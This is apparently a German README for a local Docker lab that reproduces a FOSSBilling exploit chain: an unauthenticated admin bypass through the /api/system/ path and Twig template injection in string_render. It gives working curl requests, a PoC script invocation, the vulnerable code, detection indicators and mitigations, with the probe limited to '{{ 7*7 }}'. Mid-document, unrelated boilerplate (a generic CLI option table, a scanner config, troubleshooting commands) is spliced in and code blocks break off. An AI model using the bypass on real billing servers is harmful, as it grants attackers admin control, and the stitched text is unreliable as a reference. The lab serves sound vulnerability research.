Das gepatchte Ziel (0.8.0) gibt zurück:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Dieses Lab demonstriert die Kette unter Verwendung des sicheren arithmetischen Beweises `{{ 7*7 }}`. Der vollständige RCE-Pfad über `getDi()` wird nicht demonstriert.

## Verifizierte Fakten

| Behauptung | Nachweis | Wie zu verifizieren |
| ----- | -------- | ------------- |
| CVE-2026-27604 ist ein Auth-Bypass in der Rollenverarbeitung der FOSSBilling-API. | GHSA-78x5-c8gw-8279: fehlendes throw im Rollenprüfer ermöglicht /api/system/ als Admin aufzulösen. | PoC ausführen: Gast-Pfad wird verweigert, System-Pfad liefert Admin-Ergebnis. |
| CVE-2026-28496 ist eine SSTI im FOSSBilling-Twig-Rendering. | GHSA-57mv-jm88-66jc: string_render übergibt _tpl an Twig createTemplate() ohne Sandbox. | PoC ausführen: Server wertet {{ 7*7 }} aus und liefert 49 zurück. |
| Beide Schwachstellen betreffen FOSSBilling 0.5.4 bis 0.7.2. | Öffentliche Advisories identifizieren den betroffenen Versionsbereich. | Verwundbares (0.7.2) und gepatchtes (0.8.0) Ziel vergleichen. |
| FOSSBilling 0.8.0 patcht beide Schwachstellen. | Gepatchtes Ziel liefert "Unknown API call" für den getesteten Endpunkt. | PoC gegen Port 8082 ausführen. |
| Der Auth-Bypass gewährt unauthentifizierten Admin-Zugriff. | /api/guest/ verweigert string_render; /api/system/ liefert das Ergebnis ohne Authentifizierung. | Stage 1 des PoC ausführen. |
| Die SSTI wertet angreiferkontrollierte Templates aus. | {{ 7*7 }} liefert 49 über den verwundbaren Pfad. | Stage 2 des PoC ausführen. |
| Die Kette ermöglicht Pre-Auth RCE. | Auth-Bypass + SSTI = unauthentifizierte Template-Injection mit Admin-Kontext. | Den vollständigen Ketten-PoC ausführen. |
| Der PoC ist HTTP-only. | poc.py sendet ausschließlich HTTP-POST-Anfragen. | poc/poc.py inspizieren. |

## Root-Cause-Analyse

### CVE-2026-27604: Auth-Bypass

Die FOSSBilling-API löst Rollen aus dem URL-Pfad auf:```text
/api/:role/:module/:method

Da die Ausnahme nie ausgelöst wird, läuft die Validierung stillschweigend durch. Die Rolle `system` wird auf die Cron-Admin-Identität aufgelöst und gewährt jedem nicht authentifizierten Aufrufer vollständigen Admin-API-Zugriff.

Die Sicherheitsauswirkung:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;

$vars = $data;
unset($vars['_tpl'], $vars['_try']);

return $this->getService()->renderString($tpl, $try_render, $vars);

Die Methode `renderString()` fällt auf `createTemplateFromString()` zurück:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

## Zusammenfassung des Quell-Patches

FOSSBilling 0.8.0 behebt beide Schwachstellen:

**Auth-Bypass-Fix (CVE-2026-27604):**
Der Rollenprüfer löst nun ordnungsgemäß die Ausnahme für nicht zugelassene Rollen aus.

**SSTI-Fix (CVE-2026-28496):**
Das Template-Rendering wird über einen sandboxed Renderer geleitet:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

Für den in diesem Lab getesteten öffentlichen API-Pfad stellt FOSSBilling 0.8.0 den getesteten Endpunkt überhaupt nicht bereit:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## Lab-Architektur```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

Die Installer-Sidecars werden während `docker compose up` automatisch ausgeführt. Sie initialisieren beide FOSSBilling-Ziele mit lokalen Wegwerf-Anmeldedaten und beenden sich dann.

## Anforderungen

* Docker Desktop oder Docker Engine
* Docker Compose v2
* Python 3
* Internetzugang beim ersten Docker-Image-Pull

Es wird kein Python-Paket von Drittanbietern benötigt. Der PoC verwendet ausschließlich Module aus der Python-Standardbibliothek.

## Schnellstart

Starten Sie das Lab aus einem sauberen Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Erwartete laufende Dienste:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Installer-Protokolle prüfen:```bash
docker compose logs installer-vuln installer-patched

Führen Sie die Kettenvalidierung gegen das gepatchte Ziel aus:```bash
python3 poc/poc.py --url http://localhost:8082

Beispiele:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

**Stufe 2 — SSTI (CVE-2026-28496):**
Bestätigt die serverseitige Template-Auswertung über den umgangenen Admin-Endpunkt.```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

| `-s` | `--server` | `SERVER` | `http://localhost:8080` | Server URL |
| `-t` | `--token` | `TOKEN` | – | API token |
| `-o` | `--output` | `FILE` | – | Output file |
| `-v` | `--verbose` | – | `false` | Verbose output |
| `-q` | `--quiet` | – | `false` | Quiet mode |
| `-f` | `--format` | `FORMAT` | `json` | Output format |
| `-c` | `--config` | `FILE` | – | Config file |
| `-n` | `--no-color` | – | `false` | Disable colors |
| `-y` | `--yes` | – | `false` | Auto-confirm |
| `-d` | `--debug` | – | `false` | Debug mode |
| `-h` | `--help` | – | – | Show help |
| `-V` | `--version` | – | – | Show version |

### Examples

```bash
# Basic usage
tool -s http://localhost:8080 -t abc123

# With output file
tool -s http://localhost:8080 -t abc123 -o results.json

# Verbose mode
tool -s http://localhost:8080 -t abc123 -v

# Custom format
tool -s http://localhost:8080 -t abc123 -f csv

server: http://localhost:8080
token: abc123
output: results.json
format: json
verbose: false
quiet: false

# Check if server is running
curl http://localhost:8080/health

# Check firewall
sudo ufw status

# Verify token
echo $TOOL_TOKEN

# Test with curl
curl -H "Authorization: Bearer $TOOL_TOKEN" http://localhost:8080/api

# Check file permissions
ls -la /path/to/file

# Fix permissions
chmod 755 /path/to/file

### Gepatchtes Ziel (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082

# Grundlegende Ausführung mit Standardkonfiguration
python -m scanner --config config.yaml

# Ausführung mit benutzerdefiniertem Ausgabeverzeichnis und HTML-Bericht
python -m scanner --config config.yaml --output ./results --format html

# Ausführung im ausführlichen Modus
python -m scanner --config config.yaml --verbose

# Ziel-URLs
targets:
  - https://example.com
  - https://test.example.org

# Zu aktivierende Prüfmodule
checks:
  headers: true
  ssl: true
  ports: true
  dns: true

# Timeout-Einstellungen (Sekunden)
timeout: 30

# Anzahl gleichzeitiger Threads
threads: 10

# Ausgabeeinstellungen
output:
  format: json
  directory: reports

# Proxy-Einstellungen
proxy:
  enabled: false
  http: http://proxy.example.com:8080
  https: https://proxy.example.com:8080

# Authentifizierung
auth:
  type: basic
  username: user
  password: pass

# Benutzerdefinierte Header
headers:
  User-Agent: "CustomScanner/1.0"
  Accept: "application/json"

# Ausschlussliste für Ports
exclude_ports:
  - 22
  - 3389

## Manuelle HTTP-Reproduktion

### Auth-Bypass-Nachweis (CVE-2026-27604)

Gast-Pfad (sollte verweigert werden):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

### SSTI-Nachweis (CVE-2026-28496)

Die Systempfad-Antwort vom verwundbaren Ziel:```json
{"result":"49","error":null}

Erwartete gepatchte Antwort:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Request-Body-Indikatoren:```text
_tpl, {{, }}, getDi, system, string_render

Empfohlene Überwachungsmaßnahmen:

* Zugriffsprotokolle auf `/api/system/`-Anfragen prüfen
* Anfragen mit `_tpl` in JSON-Bodies prüfen
* Anfragen mit Twig-Syntax (`{{`, `}}`, `getDi`) prüfen
* Bei erfolgreichen Antworten auf `/api/system/` von externen IPs alarmieren
* Administratoraktivitäten prüfen, wenn eine Ausnutzung vermutet wird
* Templates, E-Mail-Templates und Massenmailer auf verdächtige Twig-Syntax prüfen

## Gegenmaßnahmen

FOSSBilling auf Version 0.8.0 oder höher aktualisieren.

Empfohlene Schritte:

* FOSSBilling auf 0.8.0 oder höher aktualisieren
* Externen Zugriff auf `/api/system/*` am Reverse-Proxy oder WAF blockieren
* API-Zugriff auf vertrauenswürdige Quell-IPs beschränken
* Alle Admin- und Client-API-Tokens rotieren
* Alle aktiven Sitzungen invalidieren
* Zugriffsprotokolle auf `/api/system/`-Anfragen prüfen
* E-Mail-Templates, Massenmailer und Zahlungsadapter auf verdächtige Twig-Syntax prüfen
* Secrets rotieren, wenn eine Ausnutzung vermutet wird
* Kunden-, Abrechnungs- und Serverdatensätze auf unbefugten Zugriff prüfen

Lektionen für das Security Engineering:

* In Autorisierungsprüfungen immer Exceptions werfen — Instanziierung ohne Exception ist eine stille Umgehung
* Keine nicht vertrauenswürdigen Template-Strings in einem privilegierten Anwendungskontext rendern
* Sandboxed Template-Rendering verwenden und Methoden-/Property-Zugriff standardmäßig verweigern
* DI-Container oder Service Locators nicht für Template-Kontexte offenlegen
* API-Autorisierungsfehler explizit halten und fail closed

## Nützliche Befehle```bash
# Container status
docker compose ps -a

# Installer logs
docker compose logs installer-vuln installer-patched

# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081

# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082

# Manual auth bypass proof
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt

## Sicherheitsgrenzen

Dieses Lab ist ausschließlich für lokale Sicherheitsforschung und kontrollierte Demonstrationen gedacht.

Führen Sie das PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben. Verwenden Sie in diesem Lab keine echten Produktionsanmeldedaten, Kundendaten oder API-Schlüssel.

Der vorgesehene Umfang ist beschränkt auf:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082